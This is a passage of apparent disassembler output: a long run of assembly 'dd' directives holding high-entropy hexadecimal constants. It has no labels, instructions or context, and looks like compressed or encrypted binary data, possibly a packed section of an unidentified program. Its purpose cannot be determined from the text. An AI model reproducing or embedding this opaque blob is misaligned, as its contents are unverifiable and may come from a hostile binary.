		dd 196D6A8Fh, 83B300C7h, 4B8EE90Eh, 23073F2Bh, 3F35F20h
		dd 0E32E08D0h, 0BD490061h, 9D3D6407h, 0AF4FD1F6h, 0F171B058h
		dd 839E0FE4h, 2AE03E58h, 26EB4FCh, 2C71612Eh, 0E0C8CE92h
		dd 57CF40B2h, 0F0F0C898h, 23B85B01h, 0B556E3FFh, 0CE25D4h
		dd 0BD3603FAh, 4C6A1FEFh, 68DD1700h, 0EE7087BEh, 0E2522849h
		dd 0F3560090h, 0A174CA6Fh, 68000D62h, 7D764E1h,	98AE693Dh
		dd 0B17B001Ch, 0E5068A7Dh, 0D10FE7C0h, 0E720F54Bh, 9E503410h
		dd 2F2A39h, 0DB9B471h, 2551EEACh, 7433F700h, 681BC1FFh
		dd 40974B59h, 235B577Ch, 2E0212A4h, 883D8501h, 7FC58E4h
		dd 376D2F52h, 6F0470E7h, 862FC677h, 5F302251h, 3AD0F832h
		dd 0D400E7F6h, 9E3DEC26h, 5AEEEF65h, 53A1F700h,	7C738548h
		dd 31EA0Dh, 728D163Fh, 0CB36A4CEh, 4091FE4Ah, 92C9FCB3h
		dd 0AFF720h, 0D537B0FDh, 7ABB35CCh, 0AE0B803h, 0A07E84BAh
		dd 3A01C7h, 5EBF0D47h, 9887BCFAh, 0C1CC89Ah, 0F440F235h
		dd 90D30747h, 0FDCA023Ah, 0D60242F7h, 0FF0138F6h, 0D70343F8h
		dd 44F90840h, 83D85B04h, 310EFCC8h, 32883155h, 0C17C0001h
		dd 0F8D06878h, 0F7D8251Dh, 98F00C68h, 1B1E6C92h, 258ED79Dh
		dd 83A28E7Dh, 0FE1274B6h, 0AE1D2821h, 0A976031Ch, 0E17C5D78h
		dd 29A01AA1h, 824E3FDCh, 79694B75h, 2B1DE096h, 0F5B413E1h
		dd 7C5400A4h, 0BCE099FFh, 81A22500h, 72615C4Eh,	129801E9h
		dd 951DB1D8h, 9F2841D7h, 0A68DF0CDh, 0FB572301h, 0D785339Eh
		dd 0A0D51DF0h, 0A5B97A48h, 18720F70h, 0B1F014E0h, 8400B2D0h
		dd 90BC31E2h, 0F133561h, 937419B6h, 191ECC0h, 14966DF5h
		dd 8011D363h, 0F0D247Eh
		dd 0A2AC8D4Bh, 565833C0h, 6407A016h, 809DB85Eh,	0CE57F170h
		dd 869900FCh, 7B4DE474h, 6812627Ch, 9F00852Bh, 0EB4EA16Ah
		dd 7DE60333h, 0E59B759Dh, 0E39AE91Ch, 0ED8A803Eh, 39CB6B41h
		dd 9E8300F1h, 44886A58h, 15015F12h, 0B21A2F50h,	3880B8C4h
		dd 546F773h, 473ED93Ch,	0D41D80EAh, 0DF39336Eh,	61D2609Ch
		dd 82ABBC51h, 87345F00h, 62532173h, 21C9609Bh, 0DD144DB1h
		dd 0FF08B400h, 0A74271E5h, 333B00DCh, 0D7B0EF38h, 0F01EB51Ah
		dd 564098B3h, 0E331612Eh, 74C200D0h, 91F14606h,	101DBAC9h
		dd 1A00A683h, 0CA11493h, 9AEE24F2h, 0DB278024h,	1CA2E7F8h
		dd 7EEF7507h, 0A350251Fh, 156AA04h, 0A6699B5Fh,	50FDB1BCh
		dd 582B77E4h, 0A24ED03h, 0B0F99715h, 60A1EE7Bh,	0A0833879h
		dd 0F401AC1Fh, 8F1019CCh, 1E3033FCh, 201E5C15h,	0E9F69B00h
		dd 0FDECB486h, 138F5500h, 4D90F9E3h, 0E111C470h, 80D763E4h
		dd 889E58B2h, 0B410F9D8h, 2D05FE01h, 606FB590h,	0BAC29604h
		dd 83C610CFh, 8B95BFh, 2E8D7021h, 8CFA2505h, 90D4133h
		dd 0D02100BCh, 398D2E85h, 0ABB0D595h, 596E1D30h, 34AFB8Fh
		dd 6CB0F1F7h, 886F0B9h,	0A9218460h, 0F89A4B13h,	2480008Dh
		dd 99C619F7h, 0BB60966Dh, 0B9D37C61h, 0DEB11DE8h, 0A4144131h
		dd 0E8FE0BCDh, 65FCC87Fh, 29056CFAh, 0A50DD8E6h, 0F1A26C03h
		dd 6E17C2Eh, 96293EADh,	110021A6h, 0F29C6109h, 76A055Fh
		dd 0DC7298FBh, 9530E058h, 6C6620C0h, 7A89A9h, 4D22F578h
		dd 25A5777Dh, 161B3D01h, 0AECFC0B0h, 0C9FE770h,	6A20CB33h
		dd 2600FA39h, 0D6D9A180h, 1C9983Dh, 0CFBD636Eh,	8C500B34h
		dd 318020A9h, 9E3E3D1Dh, 0ED21C280h, 6D68DFE9h,	892AA200h
		dd 23E6288Ch, 0E776000Dh, 6636ACEAh, 3C7A9EEDh,	23C041D0h
		dd 4B0401D7h, 0E18F1F2h, 4AFCAA00h, 1DC052FAh, 0B1117B09h
		dd 9675827Fh, 2094A0BEh, 1C7DCC5h, 0E6AF7CB6h, 0EC6E45FDh
		dd 0EF0094E2h, 0F4189B54h, 0A128D9h, 9FB036CFh,	3ECA84F6h
		dd 45180EE2h, 83706DB7h, 47F8186Fh, 0C655F9B6h,	40D36800h
		dd 388C61C3h, 4D08CCABh, 0BF02F621h, 2B892968h,	0F8848236h
		dd 60584452h, 2CBFA1BDh, 8001369Ch, 240A8F5Ch, 0D1E1E7A3h
		dd 188206F0h, 0F17D2127h, 0F0380B2h, 0BE4375DEh, 509D8828h
		dd 4B260061h, 0A0C3CA1Dh, 74052F0Bh, 6F8B2934h,	0C0FF5C08h
		dd 40D668C5h, 0B422BB46h, 68BEFB00h, 0A45939FDh, 0C54400BDh
		dd 72DC3317h, 9F88A8B4h, 0C18CAB3Ah, 40E00ECFh,	5C11C170h
		dd 24C5F1AAh, 43F19568h, 211893A4h, 0B4297520h,	15440068h
		dd 40CC480Bh, 0C0C8DC5Eh, 0C4DE1070h, 0C1304813h, 4023D268h
		dd 4C11DBh, 7B68BAFFh, 0D6353h,	42727DF8h, 8229FC8h, 0F8986728h
		dd 18201845h, 2FFE8CBCh, 8224FA1Eh, 3B9391A1h, 0DC2E80E9h
		dd 2FFD6E5Fh, 706C1C31h, 0CF11400Dh, 0D0B4C3F4h, 0F502F2F0h
		dd 20A504A9h, 4DF02073h, 0D2019991h, 0C97266CAh, 4231965Dh
		dd 61B243CDh, 9030C090h, 2506082Eh, 99648CE2h, 2E88CD40h
		dd 0A3120921h, 30222AF5h, 84F220A5h, 4045675h, 7A2ECBD3h
		dd 9F57BC80h, 0F2D7433Ch, 0FE7307Ah, 2030487Fh,	0B631197Eh
		dd 0CE700099h, 0D3A4C3Ch, 0FE762F1Eh, 0F144DC01h, 24F5743Fh
		dd 1C5CDC4h, 90177895h,	8130578Ch, 76D14DB9h, 59C8B6C4h
		dd 0CCAE336Bh, 21093908h, 76D902h, 0AF8D947Bh, 22DD027Fh
		dd 0E345992Bh, 0EE2C3048h, 0A287A705h, 0A44042ECh, 3E38390Dh
		dd 823124FCh, 0D5210458h, 880D417h, 3CEFB80h, 8AF88E4Bh
		dd 1387196Bh, 2F4AE8AEh, 5C8A06D0h, 0A129586Ah,	12D421Ch
		dd 48A33640h, 43CD178h,	0F1B6D628h, 88895EDh, 0C4C01268h
		dd 4640D168h, 0B322D3h,	696895FCh, 30346B0Bh, 0A61A9802h
		dd 843721CAh, 0D2608FA0h, 0B623C176h, 15111DCh,	9576DA03h
		dd 0AC238B61h, 5F304FA2h, 302CEE23h, 3019B928h,	61C03558h
		dd 866BDCB8h, 0FADD0547h, 4503710h, 0B8DDEC4h, 5C0D02A6h
		dd 9DBC890Ch, 808811B8h, 6BB749AEh, 880464F8h, 7F20464Dh
		dd 7C290029h, 5EA357CEh, 0DC001645h, 0ACED961Dh, 980B391h
		dd 0A619C1F6h, 20340081h, 5539807Bh, 3B1FF1DAh,	79F400AFh
		dd 6EC64775h, 5B3DF852h, 46A682BCh, 0C00DBF0Ah,	0E2236110h
		dd 0B6D03F26h, 1372599Dh, 40902191h, 3F58117Ah,	11A69051h
		dd 4137E0h, 4D0E2461h, 0DAD82CB3h, 57EF8ACEh, 431AD21Dh
		dd 0B9B46131h, 2E721110h, 6159E405h, 0C08B242Ch, 0CE9E700h
		dd 0A32B29CEh, 7E001177h, 0E5B89BA7h, 4C19EFA6h, 98E87807h
		dd 0C708018Ch, 44FCDE62h, 607980A1h, 0BBF4E86Ah, 0A8D70110h
		dd 0D4915748h, 3361FD36h, 3391A264h, 3E3D9B88h,	8748F039h
		dd 0A2B2C9BDh, 0A000E17Dh, 1FF89F39h, 0C395341Eh, 0D06E87E0h
		dd 72456290h, 0C0A4A929h, 0B7693608h, 0B0844818h, 0EF407D20h
		dd 77B23E4h, 78373912h,	0B01D2600h, 1D72A7ABh, 0F2CBA159h
		dd 0AD202C80h, 0D0A049h, 0DD40CA0Eh, 6B389F2Fh,	0FCCF51C0h
		dd 7B3498D1h, 25202641h, 60D964B0h, 23F44AFAh, 871108F1h
		dd 4B12AC00h, 51C405F3h, 0BDC0D964h, 40C0454Ah,	0D846CA4Ch
		dd 0D4031FE6h, 0DC3ED958h, 0D1EC9869h, 1BB098E0h, 31A22534h
		dd 0F842C822h, 3FC910Dh, 0C2321C24h, 0FB00307Bh, 0F8FC353Eh
		dd 13AAD076h, 3EB0A829h, 0B1235Ch, 0B99A4A34h, 9C122457h
		dd 4C8871BEh, 0F5D1E80h, 0FF67ECBh, 0F734CF95h,	0D2412560h
		dd 0E18AD43h, 0FA51BA48h, 57A7437h, 456E68B0h, 6D0C00C0h
		dd 0E1BB4CB1h, 8C02117Eh, 3D250EC8h, 72F0681Fh,	4409AABh
		dd 6798352Dh, 50B8A2B8h, 5E00E424h, 609FF025h, 322C710Ch
		dd 0D9076ADh, 0C9E4C044h, 0DE4EAE02h, 82B00EA5h, 1847FC88h
		dd 0CF1768C2h, 4C38E340h, 68BB02FAh, 0B0727A96h, 36394880h
		dd 0D8AAD224h, 0AA3C5C82h, 484D90A9h, 2358D3C0h, 0B49258C6h
		dd 0F0DE4700h, 0FC3C6A31h, 0A2881C50h, 0DC232E41h, 0F6757200h
		dd 1DA7A5B7h, 0A996E518h, 5133EA1h, 203DF1E3h, 0FE4C488Fh
		dd 588107C4h, 187310F1h, 4AFFAD80h, 3D06F9C6h, 4D3411C2h
		dd 0A32D0079h, 215CDB75h, 0B05873A6h, 77F0C694h, 0B2091C41h
		dd 0A7803A6Eh, 0B0A0FE23h, 29DFEA11h, 0AEF1C740h, 587FF64Ch
		dd 280294C3h, 0B6703E66h, 0F01EF499h, 2CE890B0h, 10230E24h
		dd 44CE3265h, 43C25288h, 74D88405h, 95E4CF43h, 9EF267F0h
		dd 504B234Eh, 11D41DD0h, 58FC8040h, 10E115Ah, 0F623816Eh
		dd 80BE486Ch, 60C04B59h, 0BF26A4h, 40991ED9h, 0C22B2307h
		dd 9C84964Ch, 2A0E2E96h, 9500F7FEh, 31A163AEh, 0DC7B1A10h
		dd 60C67004h, 51DB831Fh, 0D0669445h, 2D5AE1C0h,	0D8E552D7h
		dd 0A7692F03h, 1103C096h, 0E948AF34h, 5E3DC09Fh, 0EB750007h
		dd 0DA874D9Eh, 0A218D32Fh, 234141F1h, 0F51C1D0Dh, 447700AEh
		dd 58AB5FB3h, 0A1014C99h, 0CF477CCEh, 1A342080h, 0E195DB0h
		dd 0E93310C0h, 22F49Ah,	0D157E5AFh, 59EA9EF8h, 0BA8CAC00h
		dd 13C632F0h, 0D2200DDh, 17CFF974h, 940EEE8Dh, 0E0289F8Ch
		dd 0F167389Bh, 62120BECh, 6D04292Ch, 0F0E5C09Ch, 0E11DA875h
		dd 0BA81E4DFh, 0BB14DAF5h, 1519DD0h, 0A36415ACh, 0D05D5291h
		dd 7B0359A0h, 5054358Dh, 4A5EE1A1h, 4E68F0F3h, 63943E90h
		dd 1D1E8D3Ch, 1081189Ch, 2B00AEC0h, 1292647Bh, 14869F3h
		dd 84A52AFAh, 0E48E5E56h, 0A4094E15h, 0D53C61AFh, 0BE80D00Fh
		dd 9F4A65ADh
		dd 8D935F0h, 83304930h,	0E8A6F854h, 0A93F0F15h,	0F1A067A0h
		dd 0F2606835h, 48F64A4h, 0A6E3F05Dh, 0AA105063h, 908BAFBDh
		dd 9FF40Ch, 398A3BB4h, 0E1916F11h, 1C601274h, 0ADF72B41h
		dd 84AF0085h, 2489F9ABh, 3501709Ah, 0EE017C45h,	3F84AA4h
		dd 71FF603Fh, 440A2026h, 0FE5918C6h, 22030C50h,	0F620E46Ch
		dd 4D8A1F10h, 2E7C8F06h, 0F50C5091h, 0B9A57069h, 0A1AA0046h
		dd 0F7FE99FFh, 2E00AE6Dh, 0F5A90A48h, 0C7BF293Dh, 0E04C5B29h
		dd 8F49C538h, 3166F07Eh, 7921B208h, 0AE73E4h, 9903DB48h
		dd 40D72C8h, 0E3FE9A0Ah, 778084EBh, 44F6F8F0h, 15BBE888h
		dd 944FBDA7h, 3AB49C80h, 448C918Ah, 0F4012E1Dh,	4ADDD3ADh
		dd 0BC50827Eh, 600C9E03h, 72CCB80Dh, 0D0C0EB7Dh, 0DD8B1154h
		dd 7A29C06Fh, 44D635Ch,	0F15E2D0Ch, 0C07F095Bh,	63449A21h
		dd 5A533952h, 0DB0210A8h, 6EC3E200h, 0A3B6201h,	26F9BE62h
		dd 75C8A7F2h, 9180FEE7h, 60253144h, 1AB919FBh, 0FA00E3DEh
		dd 19E1F6C2h, 28CC883Bh, 1AC897A6h, 0E107E456h,	8C6AFC02h
		dd 0ADF0610Dh, 1A1C06Dh, 44704A6Eh, 0B54C0A00h,	0A2BA3AF1h
		dd 0F0626131h, 86196DE9h, 5515A9A1h, 60827438h,	0D5ED20ECh
		dd 94A31C4Ch, 208361E1h, 1012F854h, 142150E2h, 0F6006E02h
		dd 8324065Eh, 5B9B2875h, 82B6EF90h, 18DBF020h, 0A9F4023Fh
		dd 0B0004615h, 4D407E96h, 0CA2876BEh, 87A00908h, 0F0B03E34h
		dd 45D071C2h, 0A02B0500h, 1F01E6Eh, 9C80D456h, 0BA43F8E8h
		dd 0D3F69800h, 85E9D85Ah, 292A0F72h, 6F00A047h,	0E48CEFD9h
		dd 6558ECEh, 0FC9AEDB3h, 74A121BDh, 4581851h, 69C534AEh
		dd 80C83788h, 36AE49E8h, 8B0E6963h, 0C0056A58h,	0F9A2CB31h
		dd 0A78901Bh, 1DF0FDF5h, 7C9E00B4h, 0DE424D38h,	0FF0E3491h
		dd 0AC6620D9h, 790F06C7h, 0EE3E00B6h, 51455221h, 8B0ABFC6h
		dd 0F9EA017Eh, 80198402h, 8A4A129h, 8050EDF6h, 0B43A34h
		dd 61A33253h, 89A508Fh,	21EAE930h, 4D3AD489h, 207C2475h
		dd 31724211h, 85959A1Dh, 0A47F980h, 0A0F5089Bh,	7E408E2Ch
		dd 4AD312E6h, 0D6B43088h, 0D9C10894h, 5E4D2EF4h, 30CE0421h
		dd 9F11B039h, 0D88587Eh, 0B0513F80h, 43779A8h, 0F008D9A0h
		dd 3D809011h, 1A745F9Dh, 17FFD06h, 3FB15DF6h, 2A9545CAh
		dd 1C00C4B4h, 0ECBE5A72h, 13006C9Dh, 62633A96h,	258B719h
		dd 69FC39D4h, 60AF4F61h, 40FC6D0Ah, 42B4D99h, 990ECA30h
		dd 0C001E455h, 35C98489h, 5034C81h, 5990B4D0h, 1729E0C5h
		dd 4495008Fh, 89EB5698h, 9F54C634h, 0BC0CA4B0h,	7175874Ah
		dd 0D031603Ah, 581AB5Ch, 7C703C01h, 4530F1D1h, 0F6609188h
		dd 4674B824h, 0B4360058h, 70D59112h, 289DFA8Dh,	0F6D01FF4h
		dd 636B7285h, 4263155h,	7C01E91Eh, 787B5040h, 297F405h
		dd 0A9AF7075h, 0E0408494h, 8A185BBCh, 0F8C974DEh, 12BE2D2h
		dd 1972FD94h, 0C07CCCEDh, 0C9099C92h, 97A6F4BDh, 0BAF988E4h
		dd 6E4A476Eh, 0C60804A0h, 69C1267Ah, 2CF50054h,	75DC195Eh
		dd 0D0C912FCh, 410000CBh, 0F63C5590h, 810D86Eh,	3703534Bh
		dd 298C01F2h, 65F1004Dh, 3D929477h, 5070440h, 0CB02CD96h
		dd 1541308Ch, 0D03B438Ah, 0C702602h, 18406A56h,	3A886E7Dh
		dd 4D981932h, 1844E0EBh, 47B4089Bh, 20C2998Ah, 0F34F00BBh
		dd 42CAAADh, 0DE430423h, 29590081h, 0CC32FF0Dh,	0F9502204h
		dd 0B0888310h, 0BC5902F3h, 7A51C67Fh, 56812CC3h, 42E82084h
		dd 6F87740h, 0AACC8AABh, 0C8AB1092h, 0C04408FCh, 7E95B053h
		dd 0A222846h, 0B02B3500h, 0CABC9329h, 2DE10942h, 95013F44h
		dd 30F2549Dh, 3526CC10h, 4311D093h, 46B49880h, 1243F18Ah
		dd 841B2Ah, 0DFB49052h,	44A9FA2h, 0F18D614h, 82C605E8h
		dd 0F802F441h, 0AFA76C69h, 0E3728ADCh, 39A1830h, 0B878B9C7h
		dd 4C595E10h, 0A4D52494h, 0C028F0B7h, 7E9AB03Ah, 2226046h
		dd 0B0524000h, 6C6BA126h, 1279C0C0h, 0F211554Dh, 0C618DE5Ch
		dd 2EB86335h, 641841A5h, 0E02F4E84h, 0DA7E3063h, 5391C76h
		dd 0AD8A45C8h, 0A3048007h, 164080FDh, 0F36514CCh, 0F9BCA0A6h
		dd 0C200BA43h, 29109950h, 8A2C6D32h, 3A85E895h,	2287408Bh
		dd 21AAC860h, 3B18C74Bh, 41776F62h, 0F5C274F8h,	0F27462A8h
		dd 0B1033055h, 9AC99102h, 0E40208A9h, 32617AE4h, 8F607B7Ah
		dd 0FE77E7E0h, 585DFF13h, 583DD84Ch, 431CE50h, 0D5A180A4h
		dd 91CC82F4h, 4BDE4032h, 0CC5D5D04h, 2C808688h,	6D1C633Fh
		dd 7AF301E7h, 0CAB32276h, 9E49C56Bh, 0F4E650B1h, 0C3278664h
		dd 19269172h, 0B40F0E3h, 7FC2EC7Ah, 8CFE0389h, 7DC35DB0h
		dd 0D9F905CDh, 6A1C8241h, 0C13F2A23h, 3040E47Eh, 1569A61h
		dd 0F1C53945h, 804F298Eh, 0D3E64371h, 0FEEF09h,	1927160Bh
		dd 510861B1h, 83016B90h, 7531B571h, 3CC1DE05h, 18C4CEh
		dd 640158D2h, 24345D70h, 402C925Ch, 0E0A14CCCh,	654D182Ah
		dd 983180AEh, 0FB884E10h, 52AE2C46h, 0C604849Ch, 0DE809106h
		dd 0A4718070h, 165A1889h, 63BE075Ch, 0A6233CFDh, 815E06Bh
		dd 269810EFh, 2B138431h, 0AE51C01Bh, 1348B069h,	129D348Ch
		dd 55C801ACh, 89A117F6h, 0B1B88110h, 1462AA60h,	0CBB1BF1h
		dd 0D8F90153h, 10758408h, 0C04830FEh, 9B71C51Dh, 0F589AA04h
		dd 0D86D7C83h, 43B1141h, 0AFE3788Bh, 2E10882Ah,	0E1813C04h
		dd 9A80A239h, 30F85625h, 5051D8D5h, 14917E87h, 22000611h
		dd 536D305Dh, 51049B66h, 709AD0AEh, 0D54315C7h,	3C290104h
		dd 0C21B7899h, 91B34065h, 8F0373C4h, 0EDD4C3D9h, 0C0984494h
		dd 6B6A1605h, 23FC3F65h, 4F48044Eh, 0A3788879h,	0A706D13h
		dd 517AAC42h, 3EA01F6h,	12306223h, 0E0270108h, 4565E0CAh
		dd 0F67F9800h, 88462ACEh, 0F700EC01h, 2D61035Eh, 3F85A0FEh
		dd 90CD1156h, 57633680h, 448CBD04h, 63F2407Eh, 6E6BCF0Dh
		dd 0B40259A2h, 31DF206Dh, 0B8B17B4Fh, 61F82B1Ah, 3B016A0Ch
		dd 0A3082088h, 42461C90h, 39B49902h, 0F731A98Ah, 0F12D2180h
		dd 66944CADh, 8BE75C00h, 41DC91E2h, 88A425h, 69137A58h
		dd 0C4595248h, 22C033Dh, 50687E46h, 215C45B6h, 18FA5140h
		dd 0E86E7C05h, 7FCD1351h, 0D82820DEh, 321EA79Ch, 6E40467Dh
		dd 374F0663h, 0BF6714F9h, 0F823B4C5h, 58633301h, 7A0E9504h
		dd 6C635C02h, 40BF1ADCh, 91A85018h, 18B7792Ch, 4C0A07B4h
		dd 0C5ABE789h, 4B20203Ch, 0C52537AEh, 0F481641h, 0A3AE4401h
		dd 8127A7E0h, 0A4086379h, 91EA885h, 8004EB3Eh, 92A0C1BEh
		dd 1026C36Ch, 465E6CA9h, 88CF0056h, 252F624Dh, 9EC22EF7h
		dd 0F0B90984h, 0D6031C00h, 78C002FCh, 926155EAh, 1C0B167Eh
		dd 0FF4C3832h, 49E31040h, 0CE00E809h, 21C57306h, 175885DEh
		dd 6C447808h, 0E9ECB83Ah, 0EDB85613h, 1167E5Eh,	80096D62h
		dd 3C5C2087h, 615C08CDh, 22035905h, 4AC823FFh, 40447C49h
		dd 0A0C90448h, 123C552Ch, 0F264F32h, 65097BD0h,	48A54846h
		dd 18BB1CC2h, 7802E9A8h, 2161EE9Eh, 0AC2450B2h,	0ECD9F874h
		dd 0A630948Eh, 77E40B40h, 0B6280D04h, 180D4FFCh, 8DC4F05Bh
		dd 40A09643h, 952D566Ch, 0E2C21A00h, 0FEF07DC0h, 0D0ED0471h
		dd 0A003A11Fh, 9D5831E0h, 50291820h, 3B49D0F9h,	841FC54Fh
		dd 0ABED40F4h, 75C486A6h, 4439462Ch, 0F0972A93h, 0BFA85311h
		dd 88B2E0h, 11B69D3h, 0BC7C9D81h, 0B0003098h, 5630FDC3h
		dd 0B9ABE83Ch, 194E7984h
		dd 0D5B0E0F6h, 0D5F7815Fh, 4EF03880h, 0B723202Fh, 22080700h
		dd 709DE56Eh, 0A043FA1Eh, 2D2169A4h, 0C047E2Ah,	1DF8825Ch
		dd 46431CCCh, 57015023h, 61C533AEh, 0E580F023h,	0A74DAE50h
		dd 8AC68103h, 7183BE24h, 7CE44868h, 6FC71980h, 0AE0B7E0Ah
		dd 848A4879h, 0FCCB55DAh, 0A0CE92C8h, 0DD82E33Ch, 83D30044h
		dd 3DA275E4h, 3203C3D1h, 71F97C9Ah, 0C9F9085Dh,	0F6938B72h
		dd 0C8CB0085h, 10C093C8h, 2CF4A05Dh, 117468A2h,	201E04FFh
		dd 58976F4Eh, 71767332h, 2898A5D4h, 82D8A32h, 34CC205Bh
		dd 3CAF7C84h, 130144D9h, 6D859D55h, 0B870F2D5h,	0B172CA00h
		dd 69FE9A52h, 0A209187h, 0BDE00726h, 0F3B59980h, 45717358h
		dd 9BFD6000h, 1410ABCBh, 5EA8B40Eh, 2000E46h, 7C3B6C85h
		dd 0B390E05Dh, 89163C90h, 0D482C624h, 44DCC79Ch, 70A86093h
		dd 0BFFB0A6Bh, 180311Dh, 4ED48AE7h, 39D45092h, 0C496CD14h
		dd 0B1197480h, 0F8845594h, 9DFB0192h, 0FDA2CCD4h, 0D9FED86Ch
		dd 9BF80B17h, 816C8815h, 7C8B02F2h, 166E093h, 36D46D3Dh
		dd 6FF4743Bh, 1D5E3000h, 7B1A8812h, 69B56001h, 6F617D70h
		dd 62A75A07h, 0C09F5C37h, 57BCBE0Ah, 0F4170096h, 88C99EEAh
		dd 8028BD7Ch, 0E5018D7Ah, 0C5F6B653h, 0A920DBCBh, 60FD00D7h
		dd 0AC5F26C2h, 0FE78AEB9h, 46587E7Bh, 3E2E0020h, 6210133Fh
		dd 908073D6h, 914400A1h, 12BF73C2h, 0CE7DF7C6h,	8E74B51Dh
		dd 5846B6C0h, 16A610Ah,	68BF2336h, 689E2513h, 0A0DE2818h
		dd 5F8BB3Ah, 408BA1Ah, 1709D0C8h, 0C581FACAh, 604A200h
		dd 95263211h, 0C4C61718h, 7E08C804h, 50401972h,	0B622160Fh
		dd 41D4D28Ch, 11B05430h, 88307E98h, 2C36800Bh, 0DC9826B0h
		dd 0CC46A802h, 48512A57h, 1EE51D68h, 0EF105Bh, 0AAA2C059h
		dd 7A03AC5Ch, 0CD2C3C9Eh, 0B321F1F6h, 1467888Ch, 1A8C5D80h
		dd 0AC9CB048h, 10104011h, 1B04032h, 0CD363892h,	3865AA68h
		dd 9B72136Ch, 1C91C404h, 0E660B481h, 0B4A25473h, 98FAE430h
		dd 0A829304Ch, 0ABC95519h, 418B731Eh, 82962849h, 499950h
		dd 0C4B61131h, 23BC0F4Ch, 0AE4E012Bh, 7339C53Ah, 47FE8058h
		dd 7CB0BAEh, 7367AFD4h,	9D8590D2h, 3106E9A6h, 0A0572A3h
		dd 803A0ED0h, 0FC75E2C9h, 6AE1F90Ch, 0A4A73481h, 0E7600B44h
		dd 8E703C99h, 6A46C803h, 136C26D1h, 9A569A60h, 0BC9C0C4h
		dd 42B7C6h, 53DC7C54h, 8624883Bh, 64586F6Ah, 0E62803C2h
		dd 94689894h, 35C0E484h, 0EFA0C4B6h, 48FA25B0h,	6DC4A413h
		dd 898E7C0Ch, 3F342E85h, 0FFE40CACh, 0D9148091h, 926F5Bh
		dd 0AC592BB1h, 5A297DDh, 0A726759Ah, 348C196h, 72BB12CAh
		dd 50F0F86Ch, 0A4226CEAh, 25412710h, 0EBD3B020h, 2212E7E3h
		dd 5001E257h, 748C6A36h, 5C1F6CCh, 7969EB45h, 92F4944Eh
		dd 0A4F1427Ch, 0E3180E79h, 4F07CA05h, 0C4020860h, 0B832E7Ch
		dd 209D1502h, 0F30340D0h, 0D4FDDC57h, 0CB10161Bh, 208020DEh
		dd 4E00A5CEh, 9853E137h, 2C8D8B25h, 18C2C55h, 28813C4Bh
		dd 659980FAh, 38895A42h, 0CA34009Ch, 0A0E1DDDCh, 0DC99E9E0h
		dd 0B4D02692h, 0D5652Ch, 0FD11BD9h, 0C03AE803h,	8606CEDh
		dd 616EDEDCh, 0E5081E5Eh, 0BF46866h, 658712E1h,	631EE43Ch
		dd 555C8834h, 0C4860C04h, 19847F1h, 0E576A0A8h,	0AC4D9A13h
		dd 0DFD4D700h, 0A8E640h, 0F01EF632h, 0A37ACB6Eh, 12C1563Bh
		dd 9CA02454h, 4010BC0h,	4685598h, 78FFABDAh, 67F99AECh
		dd 600A44E8h, 5C960125h, 0C3400B26h, 0D5982E28h, 0BA8E4E44h
		dd 847D020h, 0C47D1F0Fh, 2E2C1095h, 21C200AFh, 5C7E47FAh
		dd 6D0BC5E2h, 144A175h,	1FE89E8Dh, 0E1F03426h, 81017B4Fh
		dd 9D842303h, 884220FCh, 0E0F1E26Eh, 542A3B8Ch,	0C4804Ah
		dd 0DEDF12E3h, 5F5A45D8h, 8939FDEAh, 17DAAD63h,	8E1E9104h
		dd 555961A9h, 0E4CB9DA4h, 69724601h, 2881A861h,	9C77CE2Ch
		dd 2487A42h, 80FAC603h,	0A4ED0825h, 78F429C8h, 3AC7095Ah
		dd 0C8818975h, 39DE8B79h, 0BFDB3CB0h, 1D99833Dh, 0D92BB3A3h
		dd 2DD0757Bh, 676F809h,	117AC8FDh, 551288F1h, 3AA1BFh
		dd 132C0C23h, 0CAA20Eh,	1312C1B3h, 0D5F9187Eh, 0BE3CC85Eh
		dd 8008DDF9h, 907314C1h, 0F2DC0D94h, 329A0A42h,	60C412CCh
		dd 0A5E926Bh, 0B898D800h, 8001107Eh, 0E2EC2D8Eh, 3214C16h
		dd 5C7426F5h, 0A10B5546h, 640E4C0Fh, 0CC2BE965h, 0C0F8271Ch
		dd 0FBB63Eh, 1830B15Ah,	0FE9AFD6Ch, 0D1D527BEh,	7445BC8Bh
		dd 0D160B2E4h, 0B118EACBh, 4C20C66Ch, 91822F6Dh, 29AAC40Fh
		dd 0F6C90044h, 0BA324686h, 0DF004578h, 0E3D640Bh, 7B303408h
		dd 40E45B9Bh, 554C9700h, 0FE004D17h, 502720F6h,	587974A0h
		dd 0DE8C8CDh, 45BB08Ch,	0DE686D87h, 0D130976Bh,	603D2D62h
		dd 9100D7F2h, 6DFA63F4h, 3BC528FCh, 4C256E55h, 0E39E3484h
		dd 22544CD8h, 0DBE201F6h, 658248C1h, 0E3F88120h, 0DAF8B93Fh
		dd 7EB42F2Fh, 233DBA43h, 2CD3B800h, 97D192A1h, 72C93600h
		dd 0FE9D87CEh, 5CD09654h, 76008646h, 78498BEEh,	793E44CBh
		dd 749D8DE5h, 55F5E001h, 9B00D863h, 6B8A6E7Ah, 7B0053B9h
		dd 0BCD859D4h, 130D1F35h, 0D5717EFDh, 0F204F2C0h, 8482300Ch
		dd 0DD4DC02h, 60A71ACCh, 5D72076Dh, 2518BC47h, 9CD93105h
		dd 27B40D00h, 4D0EA415h, 911D001Ch, 93DE4908h, 142C48E2h
		dd 0E5CB0055h, 600B64C4h, 41C6F9Ch, 95FE3FE2h, 0C748829h
		dd 0F2279200h, 0A11E4437h, 1CF60005h, 74F78EBDh, 1010EE7h
		dd 82C8CB7Fh, 42BEFEDh,	8E5EECA4h, 0C0098854h, 818C77AFh
		dd 44567B1Ch, 48DE628Bh, 3CCE80h, 0ADF860B8h, 0D5DC6758h
		dd 40BC8C7Eh, 4B8D7204h, 85E81014h, 5421018Ch, 170AD8E1h
		dd 0AC82F660h, 5510448Ah, 5FB026Ah, 45FE0826h, 84CD4AAh
		dd 79498A53h, 189359FCh, 710E0091h, 349B8DF3h, 513372CBh
		dd 9103C8FAh, 0C0240910h, 30F414EEh, 4223ACBDh,	9BB04501h
		dd 0F18387Eh, 3D3388h, 51FA8DB0h, 6D66348Ah, 0F6049894h
		dd 0C744BB01h, 0C8DE4BFCh, 0F0A7BDF0h, 0C6300BD1h, 0A0C2E528h
		dd 0C79EC51h, 3300A918h, 0B96153E8h, 7A68A16Ah,	0D4809D72h
		dd 0DD1688E6h, 47742095h, 0FE452C92h, 0A9E631h,	36E5B5Ch
		dd 0F4B4D5EEh, 24C0474Eh, 33248793h, 0BFD08D02h, 0C482404Eh
		dd 11C0004Dh, 1014F8BBh, 7D8A3D6h, 0CCA2BF34h, 6DF70128h
